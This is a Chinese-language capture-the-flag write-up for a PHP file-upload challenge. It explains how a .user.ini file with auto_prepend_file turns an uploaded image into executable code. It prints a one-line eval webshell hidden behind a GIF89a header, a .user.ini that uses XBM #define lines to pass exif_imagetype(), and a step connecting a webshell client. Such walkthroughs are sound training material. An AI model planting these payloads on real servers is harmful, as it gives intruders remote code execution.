这是一道文件上传题,做起来感到毫无头绪,看来提示 .user.ini 才知道怎么回事
.user.ini究竟是个什么东东
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
php.ini是php的核心配置文件,在 PHP 启动时被读取,那么web目录的其他ini文件也是可以被php识别
官方还说:除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录**($_SERVER[‘DOCUMENT_ROOT’] 所指定的)**。
如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
.user.ini的利用
我们可以很容易地借助.user.ini文件来构造一个“后门”。
Php配置项中有两个比较有意思的项(下图第一、四个):
auto_append_file、auto_prepend_file,点开看看什么意思:
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中
关于.user.ini可以参考大佬链接讲解
知道了这些,我们来说说这道题
这个题的主要代码
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
制作图片马
可以看到php后缀的文件是上传不了的,这个时候就要用图片马了(可以自己去百度怎么制作图片马)
代码还过滤了 **<?**这个字符所以得换一种一句话比如这个
<script language="php">@eval($_POST[sb])</script>
还需要让图片马文件绕过exif_imagetype()
的检测,这时候就要加GIF89a
了
上传
制作.user.ini
利用上述配置项进行包含的前提是:含有.user.ini的文件夹下需要有正常的php文件。
上传测试的时候也发现了index.php文件正好就在我们上传的目录下,正好可以利用.
下面还需要让.user.ini文件绕过exif_imagetype()
的检测,这时候就不能加GIF89a了,否则配置文件将无法被解析,在配置文件中#为注释,可以在文件开头添加如下内容进行绕过:
#define width 20
#define height 10
auto_prepend_file=hack.jpg
采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:
#define test_width 16
#define test_height 7
参考大佬的wp
这个函数exif_imagetype()
的绕过我卡了好久
菜刀链接
在上传好木马和配置文件.user.ini后,我们就可以用菜刀连接了
成功获取到了flag